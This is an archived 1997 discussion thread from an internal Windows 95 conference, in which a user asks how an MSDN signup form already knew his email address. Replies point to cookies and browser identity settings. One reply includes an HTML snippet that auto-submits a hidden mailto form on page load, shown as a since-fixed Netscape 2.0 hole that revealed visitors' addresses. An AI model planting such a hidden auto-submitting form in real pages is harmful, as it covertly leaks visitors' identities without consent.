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Conference noted::windows95

Title:	Microsoft Windows 95 ("Chicago")
Notice:	Please read topics 1 to 22 before writing anything
Moderator:	EEMELI::BACKSTROM

Created:	Sun Nov 13 1994
Last Modified:	Fri Jun 06 1997
Last Successful Update:	Fri Jun 06 1997
Number of topics:	2958
Total number of notes:	19968

2956.0. "How did MS know what my mail address was ?" by 42080::16.194.144.82::Sharkeya (WinPass - now free) Thu Jun 05 1997 10:25

I recently (just now) subscribed electronically to the MSDN online service. 
The forms asked a dew questions about who I was etc and then came up with a 
form in which I had to say which newsletters I wanted mailing to me.

But, it already knew my mail address. I did NOT enter it previously.

So, where did it get that from ? I used IE3.02 as the browser.

Alan

T.R	Title	User	Personal Name	Date	Lines
2956.1	cookies perhaps	VMSNET::mickey.alf.dec.com::s_vore	Smile, Mickey's watching! [email protected]	`Thu Jun 05 1997 10:43`	12
	Ever entered this information into any other Microsoft web form? If so, they may have stored it in a cookie (a bit of information that can be stored on your local computer and retrieved by the web server). [coarse analogy... I've got a horrible memory for names/faces. You work with me. I put your name and "co-worker" on a post-it and slap it on your back. Tomorrow I see you in the mall and can look at the post-it to know who you are.]
2956.2		QUARK::LIONEL	Free advice is worth every cent	`Thu Jun 05 1997 13:10`	4
	The web browser knows your e-mail address if you specified it when you did the setup (it does ask), and it can report that to a web site. Steve
2956.3		BUSY::SLAB	Audiophiles do it 'til it hertz!	`Thu Jun 05 1997 13:23`	10
	In Netscape it'd be under Options Mail and News Preferences Identity IE probably has something similar.
2956.4	Netscape and e-mail	CONSLT::OWEN	Stop Global Whining	`Thu Jun 05 1997 14:13`	15
	Netscape 2.0 is the only browser that can do it without you knowing. It was a security problem which they have sense fixed. Here's the HTML to try it... <BODY onLoad="document.hiddenform.submit()"> <FORM NAME="hiddenform" ACTION="mailto:[email protected]" METHOD=post> <INPUT TYPE="hidden" VALUE="hidden value here"> </FORM> </BODY> It will send a mail from the browser of the person viewing the page to [email protected]. I seriously doubt that Microsoft is doing this though... -Steve